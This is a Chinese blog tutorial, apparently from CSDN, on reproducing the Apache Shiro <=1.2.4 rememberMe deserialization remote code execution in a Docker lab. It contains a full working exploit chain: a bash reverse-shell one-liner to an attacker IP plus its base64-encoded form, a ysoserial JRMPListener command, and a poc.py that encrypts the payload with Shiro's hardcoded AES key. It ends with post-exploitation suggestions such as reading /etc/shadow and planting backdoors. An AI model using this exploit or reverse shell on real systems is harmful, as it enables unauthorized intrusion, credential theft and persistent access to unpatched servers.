Shiro反序列化漏洞【详细解析】

Shiro是什么东西

  • Shiro 是 Java 的一个安全框架,执行身份验证、授权、密码、会话管理                                    
  • shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

原理解释https://www.freebuf.com/vuls/178014.html

什么是硬编码:
硬编码要求程序的源代码在输入数据或所需格式发生变化时进行更改,以便最终用户可以通过程序外的某种方式更改细节。

漏洞位置

http 请求包 cookie 中的 rememberMe 参数。
该漏洞对shiro<=1.2.4的版本有影响。

攻击流程图

环境搭建 

靶机:192.168.43.132
攻击机:192.168.43.131

  • 获取docker镜像                                                                                                                           
    docker pull medicean/vulapps:s_shiro_1
  • 重启docker                                                                                                                                  

    systemctl restart docker
  • 启动docker镜像:                                                                                                                        
    docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

  • 访问:                                                                                                                                         http://192.168.43.132:8081  /  环境搭建成功 

 下载工具

ysoserial的jar文件

依次执行以下命令(jar的文件名要和脚本中的一样,文件要和脚本在同一目录下)

git clone https://github.com/frohoff/ysoserial.git

cd ysoserial

mvn package -DskipTests


出现了特殊问题

如果出现一下情况的话,是没有安装maven的。【解决mvn command not found:下一个就好了】

 

 解决:mvn command not found

linux安装maven

转载:https://www.cnblogs.com/yuexiaoyun/articles/13033946.html

1、安装 wget 命令:

 yum -y install wget     

【如果提示yum command not found的话,别理他,这是安装wget命令,一般我们的都已经安装好了】

2、下载maven安装包

wget http://mirrors.cnnic.cn/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz

3.解压maven安装包

tar -zxvf apache-maven-3.5.4-bin.tar.gz

4.配置maven:

 vim /etc/profile

在配置文件配置中加上:

export MAVEN_HOME=/root/apache-maven-3.5.4 (这个目录换成你的 maven 解压后的文件所在目录)

export PATH=$MAVEN_HOME/bin:$PATH

 

让文件生效,刷新配置文件 :

source /etc/profile

5.查看maven 版本:

mvn -version

# 或者

mvn -v

现在的话mvn已经可以在/etc/profile这个文件里面操作。

关键要在source /etc/profile里面进入ysoserial这个目录

cd ysoserial
mvn package -DskipTests

 这样就可以了

现在就解决了mvn command not found的情况。


制作反弹shell 代码

  • 使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码

 转载:http://www.jackson-t.ca/runtime-exec-payloads.html

攻击机:192.168.43.131

bash -i >& /dev/tcp/192.168.43.131/999 0>&1

999端口是监听反弹端口(nc -lvnp 999)

使用ysoserial中JRMP监听模块,监听1001端口

  • 攻击机:192.168.43.131 中执行命令:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1001 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjEzMS85OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'

【 ' ' 里面的是刚刚bash编码】

一定要进入ysoserial的target里面,因为要用到target里面的ysoserial-0.0.6-SNAPSHOT-all.jar 

使用poc.py 生成Payload

  • 在攻击机:192.168.43.131 中生成rememberMe 

    python poc.py 192.168.43.131:1001

【把poc.py也放在/ysoserial/target里面执行】 

poc.py代码

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
 
def encode_rememberme(command):

    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
 
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())


出现了特殊问题

如果出现下面的这种情况,【Crypto.Cipher import AES ImportError】

用easy_install安装pycrypto:

easy_install pycrypto-2.6.tar.gz

转载:https://blog.csdn.net/feier7501/article/details/9265551

 

这里提示easy_install:command not found 【那就下一个】

用wget下载:

wget https://bootstrap.pypa.io/ez_setup.py -O - | python

转载:https://blog.csdn.net/chenji9967/article/details/100623972

然后就可以用easy_install

又出现了新的问题 。【找不到这个pycrypto-2.6.tar.gz,那就换一个再试】

 

还是用easy_install 下载:

easy_install pycrypto

转载:https://blog.csdn.net/weixin_34327223/article/details/92066493

 这里就报错了

error: Setup script exited with error: command 'x86_64-linux-gnu-gcc' failed with exit status 1

上网搜了一下资料也是找到了解决的办法。

安装好python环境之后顺便安装对应版本的dev:

sudo apt-get install python-dev python3-dev

 

继续用easy_install 下载:

easy_install pycrypto

用poc.py生成rememberMe

 终于成功啦。【哭死了,好辛苦啊】


 

监听反弹端口 999

  • 攻击机:192.168.43.131 中执行命令:

nc -lvnp 999

 

开启kali里面的burpsuit。

用浏览器打开,填写提供的Usename Password , 记住一定要勾选Remember Me。

 

 抓登录界面的包。

 

用刚刚构造的rememberMe,放到jsessionid后面

这个时候nc的反弹shell就过来了

 


思考了一下,得到这个tmp下的root权限又能干什么,自己就玩了一下。

1.目录的一个遍历

 

 2.cat /etc/shadow

3.发现这个只是读写的root权限,应该有本地提权的一些办法得到更高的权限,有了读写的权限,后门木马都可以随便放。

 


小结:虽然这次漏洞的复现并不是很难理解,但是网上有很多的东西都没有说明白,讲清楚或者没有遇到的问题,当自己操作起来就会发现很多bug,一个一个找,对于新手来说比较的困难,所以我就做了一个比较详细的漏洞复现。

           因为自己是一个比较容易放弃的人,很高兴在面对很多困难的时候没有第一时间的放弃,最后成功的复现。

           作为一个东软的大三的学生,今年对咱们大三的学生不太友好,现在是凌晨00:45我还在这里唠叨,接下来就是准备复习面试的知识,找实习工作出来打工,祝愿自己找到一份满意的工作,身体健康,早点脱单【这个有点难度哈】。

           希望看过此贴的人都能够——

                                                             在试炼的终点是花开万里,愿你起程渺小,结尾壮大。

  • 30
    点赞
  • 75
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值